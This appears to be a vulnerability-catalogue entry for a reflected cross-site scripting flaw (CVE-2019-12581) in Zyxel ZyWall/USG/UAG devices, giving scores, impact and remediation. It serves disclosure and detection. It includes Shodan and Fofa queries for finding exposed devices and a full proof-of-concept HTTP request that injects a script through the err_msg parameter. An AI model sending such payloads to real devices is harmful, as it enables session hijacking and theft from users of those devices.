| Title | Zyxel ZyWal/USG/UAG Devices - Cross-Site Scripting |
|---|---|
| Author | n-thumann |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information. |
| Remediation | Apply the latest firmware update provided by Zyxel to fix the XSS vulnerability. |
| CVSS Score | 6.1 |
| EPSS Score | 0.55651 |
| CVE ID | CVE-2019-12581 |
| CWE ID | CWE-79 |
| Shodan Query | http.title:"ZyWall" |
| Fofa Query | title="zywall" |
| Tags | cve cve2019 zyxel zywall xss vuln |
Zyxel ZyWall, USG, and UAG devices allow remote attackers to inject arbitrary web script or HTML via the err_msg parameter free_time_failed.cgi CGI program, aka reflective cross-site scripting.
GET /free_time_failed.cgi?err_msg=<script>alert(document.domain);</script> HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/110.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2019/CVE-2019-12581.yaml
🦈 Packet Capture: ⬇️ Download cve-2019-12581.pcap
N/AN/A